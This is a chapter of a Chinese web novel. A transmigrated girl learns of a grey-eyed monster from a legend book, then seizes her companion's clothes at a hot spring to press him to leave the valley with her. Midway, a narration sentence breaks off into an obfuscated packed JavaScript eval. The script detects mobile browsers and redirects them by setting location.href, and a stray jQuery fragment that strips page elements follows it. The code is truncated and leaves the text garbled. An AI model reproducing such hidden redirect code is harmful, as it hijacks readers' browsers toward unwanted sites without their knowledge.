9. 坏小姐

作品:《穿错书?不,那是恋爱事故

    “鹿蜀一族有个很传统的规矩。


    “凡未婚嫁者,未成年的子民,不被允许离开铃冬山谷。


    “对于鹿蜀族而言,外面的世界很复杂很遥远,于是很多年前,国君与王后带着他们的族人来到这处深山雪林定居,从此,铃冬谷成了这个世界上很小的一座山谷,而鹿蜀族,也不过是这个世界很小的一处族群。”


    雪夜,屋檐下悬着的冰凌映着庭中一点炭火,偶尔有细雪飘进,在火光上化作一缕转瞬即逝的水汽。


    “停——!等等,我有问题!”


    时予欢蹲在火盆旁伸着双手取暖,指尖被烘得微微发红。她忽然抬起手,在正坐在台阶上讲故事的人面前用力晃了晃。


    千亦久合上膝头那本《鹿蜀传奇志》,发出一声几不可闻的叹气。他揉了揉眉心,就着檐下灯笼昏黄的光看她,一脸“我就知道会这样”的认命感。


    “时予欢小姐,从这本故事的开篇讲到现在,你已经向我提了三次问了。”


    他的指尖无意识地落在书页上,有一搭没一搭地轻点着。


    “第一次你问我,鹿蜀族为什么隐世而居,我回答你,是为了避开外界的危险。


    “第二次你问我,难道就没有人想要离开这个地方吗?我回答你,有,所以很多鹿蜀族人会吓唬小孩子,比如说——仙女的衣服被凡人偷走了,仙女就再也回不了天上了,你们要是离开山谷了,就再也回不来了。”


    他抬眼,眸色在火光的映照下显得慵懒。


    “这次,你又想问我什么?”


    距离上次在八方客吃宴后,又过了四五日。时予欢虽被解了禁闭,但依旧只能在王城活动,她这几日在王城中跑来跑去,甚至闯进了王后的寝宫试图去见一见王后,试图寻找罪犯的痕迹,但很可惜,一无所获,反而挨了好一通斥责。


    时予欢觉得,由此可见推剧情查案这种事么,急躁是强求不来的,既然天降大任于她,她也得挨得起这份耐心磨砺,熬住考验。她虽不是侦探,但经此一事后,对于小说中的侦探,时予欢感到由衷敬佩。


    不过,时予欢更敬佩的是同样和她一起被关在书中世界,却完全八风吹不动的千亦久。


    和她不同,千亦久自从穿进书里后就毫无斗志,过着如同退休一般的养老生活,甚至于就算万一死在书里了,他也似乎无所谓。


    一向斗志满满的时予欢看不下去了,便给他派了个工作:念故事给她听。


    这个故事自然不是寻常故事,是有关鹿蜀国的传说、习俗。她觉得搓磨日子不是办法,无论如何都得自救。


    “你想问我什么?”千亦久重复了一遍,尾音拖得有些长。


    时予欢收回烤火的手,语气端正,态度诚恳:“我成年了。”


    千亦久一挑眉,上下打量了她一眼:“我知道。”


    时予欢眼睛一亮,往前凑了凑,满是期待:“那按照故事里的说法,我是不是可以出谷了?”


    静默片刻,千亦久无情地戳破她的幻想泡泡:“很遗憾,不行。”


    “为什么!”时予欢不满地提出抗议,“我成年了!实实在在的成年了!”她又强调了一遍。


    千亦久重新翻开书页,语气毫无波澜:“因为这个故事,我还没有念完。”


    时予欢像被戳破的气球,老实道:“那你继续念下去吧。”


    簌簌雪声中,千亦久低沉平稳的嗓音再次响起,这个故事又重新开始。


    “外面的世界虽然充满危险,但严苛的规则拦不住族人的好奇心,于是王后规定,婚嫁者可以离开,成年者可以离开,但鹿蜀族人的成年并不指某一个特定的岁数,而是指通过一项考验。


    “每年除祟祭,鹿蜀国都举办一项比赛,只有经历重重考验赢了挑战的子民,才算作‘成年’,才拥有出谷的机会。”


    时予欢听的目瞪口呆,她“你你你”“我我我”支吾了半天,都没支吾出个所以然,看上去,像是对这一奇葩规则充满无法理解的震惊。


    “所以很显然。”千亦久合上书,动作干脆,“按鹿蜀的规矩,你现在,依旧是个‘未成年’。”


    时予欢不服:“你不是吗?”


    千亦久嘴角勾起一丝近乎嘲讽的弧度:“我又不是鹿蜀族人。”


    时予欢:“……”


    故事讲完,时予欢用了良久时间才从震惊中恢复,恢复完,反而兴致勃勃地同他讨论:“那你说,等我成年了能出去了,我们离开后去哪儿呢?听说浮生帝宫云巅威仪,各王都也……”


    在她看来,不就是一次除祟祭嘛,成年那就是分分钟的事儿!


    千亦久没有接话,他将故事书随手搁在身侧台阶上,身体往后靠了靠,手肘支在上一级台阶上,整个人呈现出一种松懈的,近乎漠然的姿态。


    “我不打算离开。”


    时予欢眨了眨眼,怀疑自己听错了:“……啊?”


    “我说。”千亦久重复了一遍,语气平淡,“我不打算离开山谷,或者说,我们或许该在此分道扬镳。”


    “为什么?”时予欢完全没想到他会这么说,疑惑道,“被关着有什么好呢?外面有更广阔的世界,有更多找到线索完成任务的机会,你不想出去吗?”


    千亦久轻轻扫过她的眼睛,那双总是生机勃勃充满热情的目光小小的刺痛了他一下。


    “很抱歉,我没有对‘生活’的概念,没有对‘自由’的定义,也没有对‘命运’的期盼。”


    他顿了顿,移开视线:“对我而言,‘外面’和‘这里’本质上并无区别,不过是从一个小的笼子,跳进一个更大的笼子。”


    说完,他站起身,侧脸映在明明灭灭的火光中,显得有些模糊。


    “就这样吧。”


    他步入廊下阴影,身影很快被黑暗吞没。


    寒风卷着细雪轻轻吹着,刚才还温暖的火苗在脆弱的雪夜里忽明忽暗。庭院里顿时只余时予欢一个人,还有那盆兀自燃烧的炭火和故事书。


    “怎么会这样呢?”时予欢抱膝坐着,眉头紧锁。她觉得千亦久真的很奇怪,是她活了这么多年碰见过最奇怪的人——为什么有的人会选择在原地止步不前呢?


    身后,雪地里传来沙沙的声响,时予欢没回头,她听着这轻微的动静,以为是千亦久去而复返,不由得抱怨着。


    “你知道回来,你居然还知道回来?其实,其实我想说我离开这里……”


    她望着夜空下意识开始嘟囔,带着不易察觉的鼻音。


    铃冬谷其实没有什么夜空可言,山谷的顶部都是陡崖峭壁,山崖与山崖间对峙相邻,唯一的夜色就从这些宽宽窄窄的缝隙中漏进来。


    “我只是想,去看一看外面的世界而已。”


    山的那边是什么?海的尽头有什么?永不熄灭的霞光?还是霭霭的云浪?


    身后没有回应,连脚步声也消失了。


    时予欢皱了皱眉,终于回过头。


    哪儿有什么千亦久,不过是一只通体雪白的飞鸟不知何时悄然落下,正栖在那本故事书上,歪着头,用漆黑的小眼睛安静地看她。


    时予欢怔了怔,心底莫名掠过一丝失落。


    她从怀中摸出几颗原本备着零嘴的玉米粒,轻轻摊在手心,递过去。


    飞鸟低头迅速轻巧地啄完食,在她掌心蹦跳了两下,随后振翅而起,扑着翅膀,重新飞进夜色与雪幕中。


    庭中愈发空寂。


    鬼使神差的,时予欢微微俯身,拾起了刚刚那本千亦久没有讲完的故事书,书页在膝上摊开,恰好是故事的尾页,讲述着鹿蜀国避世的前因后果。


    「二十三年前,有天外来客降临此世,后来,在时间的长河中,诞生了一位特殊的生命。」


    「他是个可怕的怪物,有一双灰白色的眼睛,他摧毁、屠戮,几乎毁灭了一个又一个时空。」


    「谢天谢地,最后天外来客带走了他。」


    「鹿蜀一族害怕怪物的再次到来,因此带着族人们避世而居。」


    时予欢的目光落在“灰白色的眼睛”几个字上,只觉得浑身血液仿佛凝固,一股寒意自脊背窜起。


    发现新的线索了,得告诉他才行。


    “……”


    要找到千亦久是个很简单的事。


    时予欢握着终端在四通八达的庭院中走来走去,系统提示音在她手中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992041|193758||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叮叮当当一阵作响。


    「检测目标人物正在附近,‘共处一室’任务正完成中,进度51%……」


    千亦久说的对,这玩意儿就是个定位器,只需要根据进度条的快慢和提示的缓急,就能轻易判断出他在哪里。


    凭着“导航”,她熟门熟路的摸到庭院深处一座幽静的花园,隔着萧萧竹影,隔着几扇绘着山水云鹤的屏风,她听见哗啦啦的水声。


    嗯?水声?


    时予欢心中一动,悄无声息的穿过中庭。


    雪色轻轻笼罩,庭院后的冬青花林里有一汪仙泉水,山石草木,一簇簇花藤坠在澄澈的池水上方,蒸腾的雾气弥漫着,仿若月晖留在人间的诗意。


    在温泉边一块被雾气濡湿的灰黑泉石上,随意地搭着一件墨蓝色的外衣。


    时予欢眼睛倏然睁大。


    她撞见千亦久泡温泉了?还是千亦久泡温泉被她撞见了?不对这两句话说的是同一件事儿吧!


    人呢?人在哪儿?让我看看。


    时予欢下意识屏住呼吸,像小动物一样弯着腰鬼鬼祟祟在周围转来转去,很可惜,雾气太重,除了那件外衣以外,什么都没发现。


    蓦地,那个千亦久方才年过的、鹿蜀族用来吓唬小孩的传说跃入脑海:仙女的衣服被凡人偷走以后,仙女就再也回不了天上了。


    一个大胆的,带着恶作剧性质的念头生了出来。


    老祖宗诚不欺我么。


    她很得意。


    呵,我可真是一个坏女人。


    ……


    千亦久有个坏毛病:他不开心时喜欢泡在水里。


    譬如此时。


    在无尽的水中不断下沉,千亦久喜欢这种不必挣扎,接近溺水的濒死感,是离死亡最接近的时刻。


    他想起了这几日的时光……遇见一个很奇怪的女孩,女孩好像不小心将他当朋友。


    好可惜,他们之间太不一样了,他当不了她的朋友。


    好可惜,他也不喜欢这个女孩儿。


    然而,一声清亮且中气十足宛如银铃的呼喊,如同利箭般扎破水面,蛮横地扎进他的耳膜。


    “水里的人听好了!你已经被包围了!”


    千亦久一顿。


    根本无需辨认,下意识的,他就听出了这声音的主人是谁。


    他缓缓浮出水面,隔着氤氲的雾气,果不其然,只见女孩儿梗着脖子,气鼓鼓站在耐冬花丛后看着他,怀里还紧紧抱着他的衣服。


    哦,他的衣服。


    “听好了,我只问一次——!”


    她看起来好像十分生气,哦,也是被他惹的。


    “要不要跟我走!”


    女孩儿恶狠狠地要挟,看上去,十足十的有着强抢民男,逼良为……额,为寇的悍匪架势。


    只有温泉水轻轻拍打石岸的细微声响。


    千亦久隔着朦胧水汽与短短距离望着她。


    女孩儿的脸颊不知是冻得还是气得,反正很红,眼睛也很圆,像森林里的小鹿一样圆,明明在做“坏事”,却一副正义凛然的模样。


    忽然,他极轻、极快地笑了一下。


    唇角勾起一个转瞬即逝的弧度,像一片羽毛从风里掠去,他第一次在她面前笑,几乎难以捕捉,眉眼里带着一丝近乎自嘲又觉得有趣的神采。


    哦,他错了。


    有时候,他还是想稍微挣扎那么一下的。


    “你跟我走!我就把衣服还你!”时予欢抱紧了怀里作为“人质”的衣服,毕竟,那可是她最重要的筹码。


    千亦久缓缓浮到岸边,在浅水区站定,温泉水仅没至他腰际,露出肌肉线条流畅的上半身,晶莹的水珠从他湿透的黑发滚落,滚过英挺的眉骨,微阖的眼睫,一路沿着清晰的下颌线滚过去,最后,从线条漂亮的锁骨与胸膛上,嘀嗒一声没入水雾深处。


    又是一阵短暂的沉默,只有水滴落下的细微回音。


    “要不要跟你走啊……”


    他忽得截了话头,浸在水雾里的嗓音听不出什么怒火,反而夹杂着点儿无奈,以及极淡的,几乎难以察觉的玩味。


    “你凑近些,我就告诉你。”